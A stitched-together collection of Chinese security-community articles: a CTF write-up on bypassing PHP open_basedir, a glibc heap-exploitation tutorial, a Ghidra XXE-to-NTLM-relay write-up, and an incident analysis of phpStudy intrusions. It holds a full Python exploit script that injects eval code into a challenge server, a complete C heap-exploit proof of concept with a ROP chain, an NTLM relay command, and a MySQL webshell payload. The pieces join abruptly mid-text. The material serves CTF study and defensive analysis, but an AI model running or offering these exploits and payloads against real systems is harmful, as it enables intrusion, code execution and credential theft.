/* copy to return here, because alter might free it! */
if (old_value) {
RETVAL_STRING(old_value);
} else {
RETVAL_FALSE;
}
#define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, (int)var_len, ini, sizeof(ini))
/* open basedir check */
if (PG(open_basedir)) {
if (_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "error_log") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.class.path") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.home") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "mail.log") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.library.path") ||
_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "vpopmail.directory")) { /
if (php_check_open_basedir(ZSTR_VAL(new_value))) {
zval_dtor(return_value);
RETURN_FALSE;
}
}
}
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}
}
从新手角度出发(ps.作者本身就是个菜鸟)
zend_string *varname;
zend_string *new_value;
# 在zend_types.h->typedef struct _zend_string zend_string;
struct _zend_string {
zend_refcounted_h gc; //变量引用计数
zend_ulong h; /* hash value */
size_t len; //字符串长度,可以防止c语言溢出。
char val[1]; //字符串内容，这是个动态的变长struct
};
所以说这里定义两个字符串变量分别为: `varname` and `new_value`
if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS", &varname, &new_value) == FAILURE) {
return;
}
//zend_parse_parameters 这个方法顾名思义就是拿来解析函数参数的，SS代表是两个字符串
//debug进去看下值
其实就是我们代码里面的`ini_set('open_basedir', '/tmp');`的参数啦。
继续
char *old_value;
.....
old_value = zend_ini_string(ZSTR_VAL(varname), (int)ZSTR_LEN(varname), 0);
//ZSTR_开头的宏方法是zend_string结构专属方法 取值 取长度
// zend_ini_string就是加载ini配置中的open_basedir这个原本的值啦
我一开始没设置，所以是空。
#define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, (int)var_len, ini, sizeof(ini))
// 为了简化下代码用了下define 继续跟进，省略一些无关的细节
里面有个关键函数决定是否能够进行`ini_set` 也就是绕过这个保护。
//前面的都不是open_basedir,所以直接跳到这里了
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}
我们简单跟进这个函数`zend_alter_ini_entry_ex`，一直F8直到返回-1,就知道是哪个关键函数了，打个断点，再次跟进就行了。
跟进
ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)
按上面的方法我们定位最终失败的函数是:
(php`OnUpdateBaseDir at fopen_wrappers.c:81)
第一次成功:
第二次失败是:
我们果断跟进查看下,`ini_entry->on_modify`这个返回值怎么获取的。
可以看到在这里就进行了返回`failure`
下断点跟进`php_check_open_basedir_ex`
如果这里能通过话，就会`return 0`这样`ini_set`设置为`..`就会成功
我们跟进看下怎么样才能成功。
这里我们就得好好分析下了，把代码贴出来
跟进`php_check_specific_open_basedir`看下怎么处理的。
可以看到这里，做了一些比较简单分析下:
首先我们要明确的是我们一开始代码设置了正确的`open_basedir`是`\tmp`
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) {
#endif //这里就是比较 我们设置的 ini_set('open_basedir', '..'); 和 resolved_basedir是否一致
if (resolved_name_len > resolved_basedir_len &&
resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {
return -1;
} else {
/* File is in the right directory */
return 0;
}
}
很明显就不一致。
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) {
#if defined(PHP_WIN32) || defined(NETWARE)
if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) {
#else
if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) {
#endif
return 0;
}
}
return -1;
}
这个代码的意思其实就是注释啦`/* /openbasedir/ and /openbasedir are the same directory */`
虽然长度不一样，但是他们是等价的。 我们可以回溯下这些比较的变量是怎么来的了。
简单跟进下，可以参考下@一叶飘零师傅的，我这里直接简写最后的结果。
这段代码能起到一个利用在当前script脚本目录下设置一个`ini_set('open_basedir', '..');`
然后可以使得`open_basedir`通过`chdir('..')`向上跳的功能。
通俗的理解就是:
比如我们的脚本文件路径:
`"/Users/xq17/Desktop/个人学习/php扩展学习/debugphp/php7/bin/"`
然后`ini_set('open_basedir', '..');`的`..`参考的是我们脚本的相对路径,然后校对原本`open_basedir`
值来比较的。
当我们`chdir('..')`，也就是把我们脚本文件向上跳一层的时候，那么根据相对路径，
`open_basedir`本来的值也要向上跳一层,多次chdir之后就可以跳到根目录下了。
(原理就是chdir他会自己进行一次`php_check_open_basedir_ex`,修改了对应的指针值，导致bypass)
下面通过解释下代码来说明下成因:
为了方便调试这个原因我们修改成如下代码再重新进行debug
可以看到这里比较通过了,重点就是path = `..` `ini_set('open_basedir', '..');`
* * *
上面是不是不知道到底在说啥？。。。。。。其实我自己也懵b,上面那条就是懵b分割线。
下面这条谈谈自己新的理解
* * *
我们首先还是得从基本出发,回到`open_basedir`的作用上来。
>
> Open_basedir是PHP设置中为了防御PHP跨目录进行文件（目录）读写的方法，所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合，在定义了open_basedir以后，php可以读写的文件、目录都将被限制在这些目录中
那么到底怎么限制的呢,我们使用`chdir('..')`能不能跳出`open_basedir`呢。
跟进`chdir`的函数定义，我们看到解析完参数值之后，就进行了`open_basedir`的检查
所以能不能绕过目录限制，其实就是过掉`php_check_open_basedir`
我们可以选择跟进查看下这个函数
这里注意下拼接取当前脚本的路径:
后面这里就是比较了
strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0
//这里把resolved_basedir 和 resolved_name(拼接结果)进行了比较
那么`resolved_basedir`怎么来的呢
可以看到将`local_oepn_basedir`按照上面根据相对路径或者绝对路径进行了划分。相对的话就拼接了。
所以payload的重点就是通过新建一个子目录，然后设置当前脚本的`open_basedir`为`..`这样拼接的时候就会跳一级来比较了。
## 完整的exp脚本
#!/usr/bin/python
# -*- coding:utf-8 -*- # type: UnderScoreCase
import pyotp as pyotp
import string
import requests
import urllib
import re
from flask import Flask
app = Flask(__name__)
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
retry_count = 5
timeout = 5
debug = True
deep_debug = False
proxies = 'http://127.0.0.1:8080'
s = requests.session()
# all printable char
fuzz_char = string.printable
@app.route('/sql/username=<username>')
def attack_sql(username):
attack_url = 'http://136.244.114.21:8090/shell.php'
username = urllib.unquote(username).replace(' ', '/**/')
# username = urllib.quote(username)
params = {
'a' : 'login admi%s admin' % username,
'totp' : totp.now()
}
if debug:
print(params)
r = get(0, attack_url, params, 0)
return r.content
# return 'Hello World %s!' % username
def get(session, url, params, proxies):
retry = 0
while True:
retry += 1
try:
if session:
if proxies:
res = s.get(url, params=params, timeout=timeout, proxies=proxies)
else:
res = s.get(url, params=params, timeout=timeout)
else:
if proxies:
res = requests.get(url, params=params, proxies=proxies)
else:
res = requests.get(url, params=params)
except Exception as e:
if retry >= retry_count:
print('timeout or server error!')
exit()
continue
break
return res
def login(username, password):
login_url = 'http://136.244.114.21:8090/shell.php'
params = {
'a' : 'login %s %s' % (username, password),
'totp' : totp.now()
}
if debug:
print(params)
# start login session=1
r = get(1, login_url, params, 0)
return r
def fuzzer(characters = fuzz_char ,position = '0'):
if debug:
print('Fuzzer Start')
fuzz_url = 'http://136.244.114.21:8090/shell.php'
available_char = []
available_char_ascii = []
payload_params = {
'a' : 'targeting 0 1',
'totp' : totp.now()
}
for ch in fuzz_char:
params = payload_params.copy()
params['a'] = params['a'].replace(position, ch)
res = get(1 , fuzz_url, params, 0)
if deep_debug:
print(params)
print(payload_params)
print(res.content)
# break
if 'bad code' not in res.text and 'bad position' not in res.text and '"code":0' in res.text:
if deep_debug:
print(res.content)
available_char.append(ch)
available_char_ascii.append(ord(ch))
if debug:
print('Fuzz Length start...')
print(payload_params)
fuzz_length = 0
max_len = 30
fuzz_len = 0
length_params = {
'a' : 'targeting 0 1',
'totp' : totp.now()
}
fuzz_string = ''
for count in range(max_len):
fuzz_string = fuzz_string + '1'
params = length_params.copy()
params['a'] = params['a'].replace(position, fuzz_string)
res = get(1, fuzz_url, params, 0)
if deep_debug:
print(position)
print(params)
print(fuzz_string)
break
if 'too long' in res.content:
fuzz_len = count
break
print('payload_params:')
print(payload_params)
print('Position %s maxLength:' % position)
print(fuzz_len + 1)
print('Position %s Available_char:' % position)
print(''.join(available_char))
print('Position %s Available_char_ascii:' % position)
print(available_char_ascii)
if debug:
print('Fuzzer End')
return True
def destruct():
destruct_url = 'http://136.244.114.21:8090/shell.php'
payload = 'destruct'
params = {
'a': '%s' % payload,
'totp' : totp.now()
}
res = get(1, destruct_url, params, 0)
if debug:
print('destructing.........')
print('destruct params:')
print(params)
print('res_content:')
print(res.content)
print('destructed.............')
if 'missiles destructed' in res.content:
return True
else:
print('Fail ! destruct please check!')
exit()
def targeting(code, position):
targeting_url = 'http://136.244.114.21:8090/shell.php'
payload = 'targeting %s %s' % (code, position)
params = {
'a' : payload,
'totp' : totp.now()
}
res = get(1, targeting_url, params, 0)
if debug:
print('params:')
print(params)
print('res_code:' + str(res.status_code))
print('res_content:')
print(res.content)
if res.content == '':
print('timeout or server error!')
exit()
if 'mark' not in res:
return False
return True
def launch():
launch_url = 'http://136.244.114.21:8090/shell.php'
payload = 'launch'
params = {
'a' : payload,
'totp' : totp.now(),
# bypass open_basedir
'x' : "chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));"
# 'x' : 'phpinfo();'
# 'f' : 'assert'
}
if debug:
print("starting launch......")
print('params:')
print(params)
print('payload:')
print(payload)
print("launch end......")
return get(1, launch_url, params, 0).content
def get_flag():
attack_url = 'http://136.244.114.21:8090/shell.php'
username = 'admin'
# Get password from sqlmap
password = 'hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}'
is_login = False
if 'login success' in login(username, password).content:
is_login = True
if debug:
print('islogin:')
print(is_login)
else:
print('login fail!')
exit()
# Solve monitor
fuzzer(fuzz_char, '0')
fuzzer(fuzz_char, '1')
# Clean missiles
destruct()
# Add code
targeting('b', '{$_GET{x}}')
targeting('c', '${eval($b)}')
flag_res = launch()
if debug:
print("flag_response start.........")
print(flag_res)
print("flag_response end...............")
flag_pattern = re.compile('[a-zA-Z0-9]{6}{.*?}')
flag_is = re.search(flag_pattern, flag_res)
if flag_is:
flag = flag_is.group()
print("Get The Flag: ..................")
print(flag)
if __name__ == '__main__':
# app.run() #开启这个之后可以sqlmap注入
get_flag()
这个是我自己写的，能一键getflag，然后配置下开头的一些参数可以看到调试信息。
## 0x5 总结
除开那个拟态防御的calc题目，还有第一题那个送分题简写外，另外几道题我会分别写文章详细记录下做题过程，以及一些知识点的原理性分析，下一篇
从一个入门pwn的菜鸟web狗角度出发写 从国赛决赛的webpwn到Delctf的webpwn学习之旅。
## 0x6 参考链接
收集了一些wp方便大家查阅:
[De1CTF 2019-WriteUp-ChdMd5](https://mp.weixin.qq.com/s/EN8cch8uO8Qnfb_eewbw9w)
[从PHP底层看open_basedir
bypass](https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/)
[官方wp](https://github.com/impakho/ciscn2019_giftbox/blob/master/exp.py)
[De1CTF-Giftbox题解](\[https://hpdoger.cn/2019/08/06/De1CTF-Giftbox%E9%A2%98%E8%A7%A3/\]\(https://hpdoger.cn/2019/08/06/De1CTF-Giftbox题解/))
[理解 JavaScript 的 async/await](https://segmentfault.com/a/1190000007535316)
[帮助你开始理解async/await](https://juejin.im/post/5ae57d8d6fb9a07aa6318a20)
[TOTP(基于时间的一次性口令)简析
python实现](https://blog.csdn.net/juxua_xatu/article/details/50252957)
[浅谈几种Bypass-open-basedir的方法](\[https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/\]\(https://www.mi1k7ea.com/2019/07/20/浅谈几种Bypass-open-basedir的方法/))
[PHP绕过open_basedir列目录的研究](https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html) | 社区文章 |
# main_arena劫持及link_map劫持
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
主要是在2.29以上的高版本glibc中，setcontext的参数改成了rdx,所以free_hook不能再setcontext rop
orw或者进行mprotect运行shellcode
在0ctf的时候遇到了第一次，当时没做出来，是haivk做出来的，师傅tql,感谢师傅提供的思路和wp，之后再geekpwn又遇到了一次
主要是程序进行exit退出时，会执行以下代码
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //漏洞产生点，调用函数数组。
}
enter code here
通过link_map来运行fini_array的函数，当执行到fini_arry第二个函数时，rdx指向的就是第一个fini_array的位置
所以可以通过劫持程序的link_map来劫持程序的fini_array,这样rdx就可以控制，同时也可以控制程序流进行setcontext
然后是main_arena劫持， 当程序不能分配tcache bin时(比如只能用calloc分配)，可以通过tcache smallbin attack
改写global_max_fast,从而fastbin attack劫持main_arena的topchunk, 从而分配内存进行任意地址读写
具体的实现如下
b[0] = calloc(1, 0x90);
calloc(1, 0x80);
b[1] = calloc(1, 0x90);
calloc(1, 0x80);
for(int i = 0; i < 7; i++)
free(a[i]);
free(b[0]);
free(b[1]);
calloc(1, 0x400);
malloc(0x90);
b[1][1] = global_max_fast_addr - 0x10;
calloc(1, 0x90);
enter code here
首先通过tcache smallbin
attack改写global_max_fast,改写fastbin最大大小，然后释放内存到fastbin,arena的hava fastbin
chunk就会被置1，可以使用0x100 的fastbin
attack申请下main_arena,然后改写link_map附近,link_map相对于libc的偏移远程很可能是不一样的，但只有第四，第五位不一样，爆破一下就好了
for(int i =0; i < 8; i++)//fastbin attack 申请 main_arena 改写 topchunk 到 link_map 附近
free(c[i]);
c[7][0] = main_arena_ptr - 1;
calloc(1, 0xf0);
unsigned long main_arena_1 = calloc(1, 0xf0);
char * test = main_arena_1;
test[0] = 0x7a;
unsigned long * arena_ptr = main_arena_1 + 1;
unsigned long attack_link_map = libc_addr + 0x236190 - 0x14;
arena_ptr[10] = attack_link_map;
arena_ptr[12] = 0x1eabe0 + libc_addr;//因为calloc会将内存置零所以要修复arena，防止报错
arena_ptr[13] = 0x1eabe0 + libc_addr;
arena_ptr[14] = 0x1eabf0 + libc_addr;
arena_ptr[15] = 0x1eabf0 + libc_addr;
arena_ptr[16] = 0x1eac00 + libc_addr;
arena_ptr[17] = 0x1eac00 + libc_addr;
arena_ptr[18] = 0x1eac10 + libc_addr;
arena_ptr[19] = 0x1eac10 + libc_addr;
arena_ptr[20] = 0x1eac20 + libc_addr;
arena_ptr[21] = 0x1eac20 + libc_addr;
arena_ptr[22] = 0x1eac30 + libc_addr;
arena_ptr[23] = 0x1eac30 + libc_addr;
arena_ptr[24] = 0x1eac40 + libc_addr;
arena_ptr[25] = 0x1eac40 + libc_addr;
arena_ptr[26] = 0x1eac50 + libc_addr;
arena_ptr[27] = 0x1eac50 + libc_addr;
arena_ptr[28] = 0;
arena_ptr[29] = 0;
enter code here
然后劫持link_map 修改fini_array
unsigned long my_link_map = calloc(0x1e0 ,1) + 4;
unsigned long * link_map_ptr = my_link_map;
link_map_ptr[0] = my_link_map + 0x20;//设置l_addr，指向fini_array
link_map_ptr[3] = my_link_map + 0x5a0;//l_next
link_map_ptr[5] = my_link_map;//l_real，指向link_map
link_map_ptr[6] = setcontext_addr + 0x3d;//伪造的fini_array,会先运行ret,然后运行setcontext时，rdx指向link_map+ 0x38，也就是ret的伪造
link_map_ptr[7] = ret;
//这里伪造rop链
link_map_ptr[8] = 0;
link_map_ptr[9] = pop_rsi;
link_map_ptr[10] = my_link_map + 0x78;
link_map_ptr[11] = pop_rdx_r12;
link_map_ptr[12] = 0x100;
link_map_ptr[13] = 0;
link_map_ptr[14] = syscall_ret;
link_map_ptr[27] = my_link_map + 0x40;//设置setcontext过程t的rsp
link_map_ptr[28] = pop_rdi;//设置setcontext过程的rip
link_map_ptr[34] = my_link_map + 0x110;//伪造指向fini_array偏移的指针
link_map_ptr[35] = 0;//fini_array偏移
link_map_ptr[36] = my_link_map + 0x120;//伪造指向fini_array个数的指针
link_map_ptr[37] = 0x20;//fini_array函数个数
enter code here
此时退出程序时，就会指向伪造fini_array函数从而运行我们的rop链，从而可以读入更长的rop链，进行orw或者mprotect执行shellcode
完整代码
#include<stdlib.h>
#include<stdio.h>
int main()
{
unsigned long libc_addr = &puts;
libc_addr = libc_addr - 0x87490;
printf("libc_addr is %lx\n", libc_addr);
unsigned long pop_rax = libc_addr + 0x0000000000028ff4;
unsigned long pop_rdx_r12 = libc_addr + 0x000000000011c3b1;
unsigned long pop_rsi = libc_addr + 0x000000000002709c;
unsigned long pop_rdi = libc_addr + 0x0000000000026bb2;
unsigned long syscall_ret = libc_addr + 0x0000000000066199;
unsigned long global_max_fast_addr = libc_addr + 0x1edb78;
unsigned long main_arena_ptr = libc_addr + 0x1eab80;
unsigned long setcontext_addr = libc_addr + 0x58000;
unsigned long ret = libc_addr + 0x000000000006619B;
unsigned long * a[7];//tcache smallbin attack 改写 global_max_fast
unsigned long * c[8];
for(int i = 0; i < 7; i++)
a[i] = calloc(1, 0x90);
for(int i = 0; i< 8; i++)
c[i] = calloc(1, 0xf0);
unsigned long * b[2];
b[0] = calloc(1, 0x90);
calloc(1, 0x80);
b[1] = calloc(1, 0x90);
calloc(1, 0x80);
for(int i = 0; i < 7; i++)
free(a[i]);
free(b[0]);
free(b[1]);
calloc(1, 0x400);
malloc(0x90);
b[1][1] = global_max_fast_addr - 0x10;
calloc(1, 0x90);
for(int i =0; i < 8; i++)//fastbin attack 申请 main_arena 改写 topchunk 到 link_map 附近
free(c[i]);
c[7][0] = main_arena_ptr - 1;
calloc(1, 0xf0);
unsigned long main_arena_1 = calloc(1, 0xf0);
char * test = main_arena_1;
test[0] = 0x7a;
unsigned long * arena_ptr = main_arena_1 + 1;
unsigned long attack_link_map = libc_addr + 0x236190 - 0x14;
arena_ptr[10] = attack_link_map;
arena_ptr[12] = 0x1eabe0 + libc_addr;
arena_ptr[13] = 0x1eabe0 + libc_addr;
arena_ptr[14] = 0x1eabf0 + libc_addr;
arena_ptr[15] = 0x1eabf0 + libc_addr;
arena_ptr[16] = 0x1eac00 + libc_addr;
arena_ptr[17] = 0x1eac00 + libc_addr;
arena_ptr[18] = 0x1eac10 + libc_addr;
arena_ptr[19] = 0x1eac10 + libc_addr;
arena_ptr[20] = 0x1eac20 + libc_addr;
arena_ptr[21] = 0x1eac20 + libc_addr;
arena_ptr[22] = 0x1eac30 + libc_addr;
arena_ptr[23] = 0x1eac30 + libc_addr;
arena_ptr[24] = 0x1eac40 + libc_addr;
arena_ptr[25] = 0x1eac40 + libc_addr;
arena_ptr[26] = 0x1eac50 + libc_addr;
arena_ptr[27] = 0x1eac50 + libc_addr;
arena_ptr[28] = 0;
arena_ptr[29] = 0;
unsigned long my_link_map = calloc(0x1e0 ,1) + 4;
unsigned long * link_map_ptr = my_link_map;
link_map_ptr[0] = my_link_map + 0x20;//l_addr
link_map_ptr[3] = my_link_map + 0x5a0;//l_next
link_map_ptr[5] = my_link_map;//l_real
link_map_ptr[6] = setcontext_addr + 0x3d;
link_map_ptr[7] = ret;
link_map_ptr[8] = 0;
link_map_ptr[9] = pop_rsi;
link_map_ptr[10] = my_link_map + 0x78;
link_map_ptr[11] = pop_rdx_r12;
link_map_ptr[12] = 0x100;
link_map_ptr[13] = 0;
link_map_ptr[14] = syscall_ret;
link_map_ptr[27] = my_link_map + 0x40;
link_map_ptr[28] = pop_rdi;
link_map_ptr[34] = my_link_map + 0x110;
link_map_ptr[35] = 0;
link_map_ptr[36] = my_link_map + 0x120;
link_map_ptr[37] = 0x20;
} | 社区文章 |
**作者：腾讯安全玄武实验室 tomato, salt
博客：<https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/>**
### 0x00 背景
Ghidra是 NSA 发布的一款反汇编工具,它的发布引起了安全研究人员的极大兴趣。
有研究人员发现Ghidra在加载工程时会存在XXE，基于笔者之前对XXE漏洞利用研究发现，攻击者可以利用Java中的特性以及Windows操作系统中NTLM认证协议的缺陷的组合来完成RCE。
### 0x01 技术细节
Java在使用内置类 `sun.net.www.protocol.http.HttpURLConnection`
发送HTTP请求遇到状态码为401的HTTP返回头时，会判断该页面要求使用哪种认证方式，若采用的NTLM认证则会自动使用当前用户凭据进行认证。
其根本原因在于Windows下的Java默认启用了透明NTLM认证，并且将所有由外部传入的URL地址都认为是可信的。如下面代码段所示
sun.net.www.protocol.http.AuthScheme#NTLM
if (tryTransparentNTLMServer) {
tryTransparentNTLMServer =
NTLMAuthenticationProxy.supportsTransparentAuth;
/* If the platform supports transparent authentication
* then check if we are in a secure environment
* whether, or not, we should try transparent authentication.*/
if (tryTransparentNTLMServer) {
tryTransparentNTLMServer =
NTLMAuthenticationProxy.isTrustedSite(url);
}
}
再跟入`NTLMAuthenticationProxy.isTrustedSite`方法
public static boolean isTrustedSite(URL url) {
try {
return (Boolean)isTrustedSite.invoke(null, url);
} catch (ReflectiveOperationException roe) {
finest(roe);
}
return false;
}
通过反射调用了`sun.net.www.protocol.http.ntlm.NTLMAuthentication`中的`isTrustedSite`方法，在此方法中将所有外部传入的URL都判定为可信的。
攻击者通过搭建基于NTLM认证的HTTP Server即可获取到当前用户的Net-NTLM Hash。
我们再来看NTLM认证协议的缺陷。NTLM认证协议中存在一种很古老的攻击的技术，被称作为NTLM
Relay攻击。此攻击的原理网上已经有很多文章进行说明，在此不再赘述。
但在此次漏洞利用方式中我们使用的凭据反射攻击，即为攻击者将受害者的Net-NTLM Hash再次Relay给受害者，达到以彼之道还施彼身的效果。
下面来看看这个过程的具体实现，攻击者首先搭建基于NTLM认证的恶意HTTP Server，然后通过XXE/SSRF等漏洞使受害者向恶意的HTTP
Server进行NTLM认证。
值得注意的是，NTLM认证分为两个版本NTLMv1和NTLMv2，在进行NTLMv1类型认证时攻击将获取到的Net-NTLM
Hash直接Relay给受害者的SMB服务即可，但是在使用NTLMv2类型认证时，攻击者在Relay时需要将NTLM认证中Type 2
Message的Negotiate Flags进行修改，将Negotiate Always Sign与Negotiate 0x00004000
两个标志位从设置改为不设置，这其中具体代表的含义为让此次认证被认作在网络上(Relay给本机会被当做是一次本地认证)进行以及将认证中的签名进行去除。
为完成该攻击过程，笔者已经编写好[脚本](https://github.com/5alt/ultrarelay.git)。
### 0x03 复现步骤
受害者环境 Oracle JDK 8u161、Win10、Administrator账户
攻击者环境 Ubuntu16.04 IP为192.168.130.136
首先在局域网内另一台机器上运行前面提到的脚本
python ultrarelay.py -ip 192.168.130.136 -smb2support
脚本将会在80端口开启HTTP服务。然后回到Win10中新建一个Ghidra工程，修改工程中的project.prp，插入XXE攻击代码，如下图所示
再次使用Ghidra打开此恶意工程，攻击者就能获取到受害者机器的NTLM Hash，也可通过脚本中的参数在受害者机器上执行任意命令。
### 0x04 防御措施
1. 开启Windows防火墙，禁止外部请求访问SMB服务
2. 若要提供SMB服务 则建议开启SMB Sign
3. 升级JDK至最新版本
### 0x05 参考资料
<https://twitter.com/sghctoma/status/1103392091009413120>
<https://conference.hitb.org/hitbsecconf2018dxb/materials/D2T2%20-%20NTLM%20Relay%20Is%20Dead%20Long%20Live%20NTLM%20Relay%20-%20Jianing%20Wang%20and%20Junyu%20Zhou.pdf>
* * * | 社区文章 |
# 一键安装藏隐患，phpStudy 批量入侵的分析与溯源
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
近日，腾讯安全云鼎实验室监测到大量主机被入侵并添加了一个名为“vusr_dx$”的隐藏帐号；同时，云鼎实验室还监测到此类帐号被大量创建的同时存在对应帐号异地登录的情况。
Windows 的帐号名称后带着“$”符号时，不会在 net user
命令中显示出帐号信息，是攻击者常用的一种隐藏帐号的方法，一般开发者不会添加这种类型的帐号。云鼎实验室对该事件进行跟踪分析，还原了攻击者的入侵手法、入侵后的操作。
## 二、入侵手法分析
通过对所有被入侵并添加“vusr_dx$”隐藏帐号的主机进行分析统计，发现大多数主机都安装了phpStudy 组件，Web 目录存在 phpinfo 和
phpMyAdmin，且 MySQL 的 root 用户有 50% 为弱口令。由此可以推断可能导致入侵的原因：
用户在自己云主机通过 phpStudy 一键部署 PHP 环境，默认情况下包含 phpinfo 及 phpMyAdmin 并且任何人都可以访问，同时安装的
MySQL 默认口令为弱口令，于是黑客通过 phpMyAdmin 使用弱口令登录 MySQL，接着利用 MySQL 的一些手段获取到系统权限。
常见利用 MySQL 获取系统权限一般有如下几个方式：
•利用 SELECT “<?system(“$_POST[cmd]);?>” INTO OUTFILE ‘/path/to/webroot’ 语句、或者
general_log 向 Web 目录写入一个 Webshell。由于 phpStudy 的一些原因，其 PHP
进程执行命令后是一个非常高权限的用户（通常为管理员用户或者是 SYSTEM 权限）。
•利用 MySQL UDF 来进行命令执行。通常利用 UDF 来执行命令的情况有 PHP 低权限但是 MySQL 是高权限的情况，或者是 PHP 用
disable_functions 限制了调用系统命令执行的方式，所以利用 UDF 来绕过 disable_functions。
这两种手法攻击者都有可能使用，由于攻击者是大批量、持续不断的进行入侵操作，可以推断出攻击者必然是使用了脚本来进行攻击的。
图 1. 攻击者每日成功入侵的机器数量曲线
通过进一步分析调查发现，最终确认攻击者的攻击手法为利用 MySQL 弱口令登录后，修改 general_log 指向 Web 目录下的 sheep.php
的文件，然后利用 shell 创建帐号。下表是 general_log 中时间和帐号创建时间的对应关系，佐证了攻击者的攻击手法。
攻击者使用的 SQL 语句如下图所示：
图2. 攻击者使用的 SQL 语句 payload
图3. sheep.php文件内容
可见，攻击者是针对性的对于 phpStudy 进行攻击。由于 phpStudy 默认安装的 MySQL 密码为 root / root，且开启在外网
3306 端口，在未设置安全组，或者安全组为放通全端口的情况下，极易受到攻击。
攻击者在创建完帐户后，会将挖矿木马上传到路径
C:ProgramDataZationalZational.exe（MD5：cb6f37e76dd233256f1c3303b4e99b1c）并运行。该文件是一个门罗币挖矿程序，
Github
地址为：[https://github.com/xmrig/xmrig。](https://github.com/xmrig/xmrig%E3%80%82)
图4. 挖矿进程
## 三、入侵溯源
黑客在创建了隐藏帐号之后会通过隐藏帐号登录并植入挖矿程序，通过腾讯云云镜捕获的“vusr_dx$”帐号异常登录行为进行来源 IP 归类统计，得到将近60个
IP 地址，包含除了来自于不同 IDC 的 IP，还有部分来自江苏盐城疑似黑客真实 IP：
图5. 部分异常登录来源IP
初步可以怀疑这批是黑客所控制肉鸡甚至可能包含有黑客真实 IP，进一步针对这些 IP 进行信息收集分析，发现 103.214.*.* 存在
phpMyAdmin，同时 MySQL 也存在弱口令，且攻击者在 Web 目录下留下了后门，当即猜测这是攻击者的一台跳板机。进一步分析，获得了黑客的后门帐号
vusr_dx$ 的密码：admin[@6](https://github.com/6 "@6")**。
进一步针对对于挖矿木马行为进行分析后，发现此木马会连接到域名为gowel.top（IP：202.168.150.44）的代理矿池，由于相关配置没有指定专用矿池用户
token 或者用户名，可以认为这是一个私有的矿池地址，同时我们发现， hxxp://gowel.top:80/ 是一个
HFS，里面有我们获取到的挖矿木马文件。
图6. 该域名80端口HFS截图
由于该域名 whois 信息是域名注册商而非黑客本身，无法通过 whois 获取注册者相关信息。
进一步通过遍历异常登录来源 IP 查询黑客画像数据，最终发现一个关联 QQ 信息可能为黑客 QQ，QQ 号为12*，通过搜索引擎搜索该 QQ 号也能证明该
QQ 号主人在进行一些可能的黑客行为：
图7. 对应QQ号搜索引擎查询结果
查询对应QQ资料：
图8. 对应QQ号资料卡
## 四、解决方案
针对此类攻击，通用的解决方案如下：
1. 在腾讯云控制台设置 CVM 的安全组，尽量不要选用放通全端口，而是针对性的设置需要外网访问的端口，比如 HTTP 的默认端口 80、RDP 的默认端口 3389；
2. 对于 phpStudy 这种集成环境，在安装结束后应修改 MySQL 密码为强密码，不要使用 root / root 或者 root / 123456 等弱口令；
3. 可以选择安装腾讯云云镜，云镜的主机漏洞检测功能支持支持 Windows 隐藏帐户检测、MySQL 弱口令检测等漏洞检测，同时也支持黑客植入的 Webshell 检测。
图9. 云镜对于受攻击主机的漏洞扫描报警
## 五、IOCs
MD5：cb6f37e76dd233256f1c3303b4e99b1c
矿池地址：hxxp://gowel.top:11588
腾讯安全云鼎实验室关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。 | 社区文章 |
**作者：w7ay@知道创宇404实验室
English version: <https://paper.seebug.org/905/>**
相比于无聊的用法介绍，我更想说一下Pocsuite3为什么会有这些功能以及是如何实现的。如果你也想制造一款类似的工具，Pocsuite3的一些思想或许能够帮助到你。本文同时也是记录Pocsuite3开发过程中的一些思考与理解。
## 简介
